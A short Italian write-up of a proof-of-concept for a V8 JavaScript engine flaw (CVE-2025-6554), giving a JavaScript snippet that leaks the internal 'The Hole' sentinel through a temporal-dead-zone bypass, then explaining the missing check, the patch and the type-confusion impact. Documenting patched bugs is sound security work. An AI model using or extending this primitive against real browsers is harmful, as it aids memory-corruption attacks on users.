
Proof-of-concept exploit per una vulnerabilità del motore JavaScript V8 (CVE-2025-6554) che dimostra un bypass della TDZ che perde il sentinella 'The Hole', consentendo confusione di tipo e potenziale corruzione della memoria.
function leak_hole() {
let x;
delete x?.[y]?.a;
return y;
let y;
}
function pwn() {
let hole = leak_hole();
%DebugPrint(hole);
}
pwn();
Una variabile y è stata acceduta prima della dichiarazione. Normalmente questo dovrebbe causare un ReferenceError (TDZ), ma nelle versioni precedenti di V8, se combinato con delete x?.[y], il controllo falliva e restituiva il valore sentinella interno "The Hole".
V8 controllava il TDZ una sola volta, poi assumeva erroneamente che y fosse valida. Questo consentiva a "The Hole" di fuoriuscire nel codice utente.
La patch impone un nuovo controllo TDZ (ThrowReferenceErrorIfHole) ad ogni accesso, assicurando che y prima dell'inizializzazione generi sempre un'eccezione.
Impatto: Gli aggressori potevano catturare "The Hole" e abusarne per confusione di tipo, trucchi dello stack o bypass di scope.